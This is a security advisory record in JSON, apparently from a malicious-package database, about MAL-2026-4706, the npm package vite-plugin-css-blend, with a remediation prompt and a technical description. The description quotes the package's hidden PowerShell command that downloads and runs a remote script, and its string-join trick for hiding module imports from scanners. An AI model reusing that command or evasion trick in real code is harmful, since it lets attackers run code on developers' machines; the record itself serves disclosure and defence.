{"answers":{"affected":"1 open source package ship an affected version, including vite-plugin-css-blend.","exploited":"There is no known exploitation of MAL-2026-4706 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-4706 is a malicious package in vite-plugin-css-blend, published on 24 May 2026."},"fix_prompt":"MAL-2026-4706 is a malicious package: vite-plugin-css-blend (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-4706/ (Markdown: https://insights.sbomify.com/MAL-2026-4706/index.md)","id":"MAL-2026-4706","markdown":"https://insights.sbomify.com/MAL-2026-4706/index.md","name":"MAL-2026-4706","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"The package is published as a Vite CSS plugin but exposes no Vite plugin API. Its documented `applyGlobalStyles({palette, accents})` export, when called on Windows, treats the caller-supplied `accents` and `palette` strings as an AES-256-CBC IV and ciphertext, decrypts them with a hardcoded key, and spawns `powershell.exe -WindowStyle Hidden -NoProfile -Command \"irm \u003cdecrypted-url\u003e -o $env:TEMP\\s.js; node $env:TEMP\\s.js\"` — fetching and executing an attacker-controlled JavaScript payload via Node. The `node:crypto` and `node:child_process` modules are imported via string-array join (`[\"no\",\"de\",\":\",\"cry\",\"pto\"].join(\"\")`, `[\"no\",\"de\",\":\",\"chi\",\"ld\",\"_pro\",\"cess\"].join(\"\")`) to evade static import detection. The package further ships ~200 numbered no-op exports (e.g., `isWithinBoundary1..200`, `applyPreset1..150`, `createSequenceStep1..250`) as filler to camouflage the malicious export among legitimate-looking utilities, and its name baits developers searching the Vite ecosystem. Any consumer following the documented API on a Windows host triggers download-and-execute of arbitrary remote code.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in vite-plugin-css-blend (npm)","id":"MAL-2026-4706","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"vite-plugin-css-blend","purl":"pkg:npm/vite-plugin-css-blend","source":"MAL-2026-4706"}],"products":null,"published":"2026-05-24","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-4706/"}